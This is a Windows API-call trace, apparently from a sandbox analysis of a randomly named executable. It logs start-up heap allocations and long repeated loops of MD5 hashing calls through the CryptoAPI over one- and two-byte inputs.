	[0086.199] RtlInitializeSListHead (in: ListHead=0x1400ce490 | out: ListHead=0x1400ce490) 
	[0086.199] GetLastError () returned 0x0
	[0086.199] SetLastError (dwErrCode=0x0) 
	[0086.199] GetEnvironmentStringsW () returned 0x4e9e80*
	[0086.200] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x0, Size=0xa7c) returned 0x4ea910
	[0086.200] FreeEnvironmentStringsW (penv=0x4e9e80) returned 1
	[0086.200] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x128) returned 0x4e9e80
	[0086.200] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3e) returned 0x4e9fb0
	[0086.200] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x6c) returned 0x4ea000
	[0086.200] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x62) returned 0x4ea080
	[0086.200] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x78) returned 0x4ea0f0
	[0086.200] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x62) returned 0x4ea170
	[0086.201] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x2e) returned 0x4e93e0
	[0086.201] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x48) returned 0x4ea1e0
	[0086.201] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x28) returned 0x4e4030
	[0086.201] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x1a) returned 0x4e4060
	[0086.201] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x4a) returned 0x4ea230
	[0086.201] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x72) returned 0x4ea290
	[0086.201] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x30) returned 0x4e9420
	[0086.201] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x2e) returned 0x4e9460
	[0086.201] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x1c) returned 0x4e4090
	[0086.201] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0xd2) returned 0x4ea310
	[0086.201] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x7c) returned 0x4ea3f0
	[0086.201] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3a) returned 0x4ea480
	[0086.201] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x90) returned 0x4ea4d0
	[0086.201] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x24) returned 0x4e40c0
	[0086.201] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x30) returned 0x4e94a0
	[0086.202] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x36) returned 0x4e94e0
	[0086.202] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c) returned 0x4ea570
	[0086.202] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x52) returned 0x4ea5c0
	[0086.202] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c) returned 0x4ea620
	[0086.202] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x82) returned 0x4ea670
	[0086.202] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x2e) returned 0x4e9520
	[0086.202] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x1e) returned 0x4e40f0
	[0086.202] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x2c) returned 0x4e9560
	[0086.202] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x54) returned 0x4ea700
	[0086.202] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x52) returned 0x4ea760
	[0086.202] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x2a) returned 0x4e95a0
	[0086.202] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c) returned 0x4ea7c0
	[0086.202] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x54) returned 0x4ea810
	[0086.202] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x24) returned 0x4e4120
	[0086.203] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x30) returned 0x4e95e0
	[0086.203] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x8c) returned 0x4ea870
	[0086.203] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x4ea910 | out: hHeap=0x4d0000) returned 1
	[0086.203] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x1000) returned 0x4ea910
	[0086.203] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x13ff78104) returned 0x0
	[0086.204] GetStartupInfoW (in: lpStartupInfo=0x2efd60 | out: lpStartupInfo=0x2efd60*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SHyuNkHTvlan.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0086.266] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0086.279] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0086.280] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0086.280] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0086.280] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0086.280] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0086.280] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0086.280] CryptAcquireContextA (in: phProv=0x234028, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x234028*=0x4ed3a0) returned 1
	[0086.343] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.344] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0086.344] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.344] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.344] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.344] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0086.344] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.344] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.344] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.344] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0086.344] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.344] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.345] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.345] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0086.345] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.345] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.345] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.345] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0086.345] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.345] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.345] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.345] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0086.346] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.346] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.346] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.346] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0086.346] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.346] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.346] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.346] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0086.347] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.347] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.347] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.347] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0086.347] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.347] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.347] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.347] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0086.347] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.347] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.347] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.347] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0086.347] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.347] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.348] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.348] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0086.348] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.348] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.348] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.348] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0086.348] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.348] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.348] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.348] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0086.348] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.348] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.348] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.348] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0086.348] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.349] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.349] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.349] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0086.349] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.349] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.349] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.349] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.349] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.349] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.349] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.349] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.349] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.349] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.349] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.350] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.350] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.350] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.350] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.350] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.350] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.350] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.350] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.350] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.350] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.350] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.350] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.350] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.351] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.351] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.351] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.351] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.351] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.351] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.351] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.351] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.351] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.351] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.351] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.351] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.352] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.352] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.352] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.352] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.352] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.352] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.352] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.352] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.352] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.352] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.352] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.352] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.352] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.352] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.353] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.353] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.353] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.353] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.353] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.353] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.353] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.353] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.353] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.353] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.353] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.353] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.353] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.353] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.354] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.354] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.354] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.354] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.354] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.354] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.354] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.354] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.354] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.354] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.354] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.354] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.354] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.354] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.355] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.355] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.355] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.355] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.355] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.355] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.355] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.355] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.355] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.355] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.355] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.355] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.355] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.356] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.356] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.356] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.356] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.356] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.356] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.356] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.356] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
